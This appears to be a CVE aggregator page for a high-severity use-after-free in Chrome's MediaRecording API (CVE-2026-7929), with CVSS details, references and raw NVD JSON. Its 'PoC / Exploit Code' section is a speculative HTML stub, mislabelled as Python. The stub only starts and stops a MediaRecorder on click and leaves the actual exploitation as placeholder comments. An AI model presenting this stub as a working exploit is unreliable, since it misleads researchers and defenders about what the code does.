CVE-2026-7929

Description

Use after free in MediaRecording in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-7929 -->
<!-- This is a conceptual demonstration based on the vulnerability description -->
<html>
<head>
<script>
function trigger_uaf() {
    // Attempt to setup MediaRecorder context
    if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {
        console.log("MediaDevices API not supported");
        return;
    }
    
    navigator.mediaDevices.getUserMedia({ video: true }).then(stream => {
        const recorder = new MediaRecorder(stream);

        // Simulate the specific UI gesture and object lifecycle issue
        // In a real scenario, this would involve precise heap grooming
        recorder.ondataavailable = (event) => {
            // Trigger condition that leads to UAF
            console.log("Data available, triggering potential UAF path");
            // Hypothetical cleanup and reuse pattern
            recorder.stream.getTracks().forEach(track => track.stop());
            // Force interaction or state change
        };

        recorder.start();
        // Simulate user interaction trigger
        setTimeout(() => {
            recorder.stop();
            // Access freed memory simulation logic would go here
            // This part would require specific exploit logic to succeed
        }, 100);
    }).catch(err => console.error(err));
}

// Trigger on user gesture as per vulnerability requirements
document.addEventListener('click', trigger_uaf);
</script>
</head>
<body>
<h1>CVE-2026-7929 PoC</h1>
<p>Click anywhere to trigger the MediaRecording UAF simulation.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7929
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7929
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7929/
[4] VulDB https://vuldb.com/cve/CVE-2026-7929
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/504660052

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7929", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:41.240", "lastModified": "2026-05-06T23:37:01.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in MediaRecording in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/504660052", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}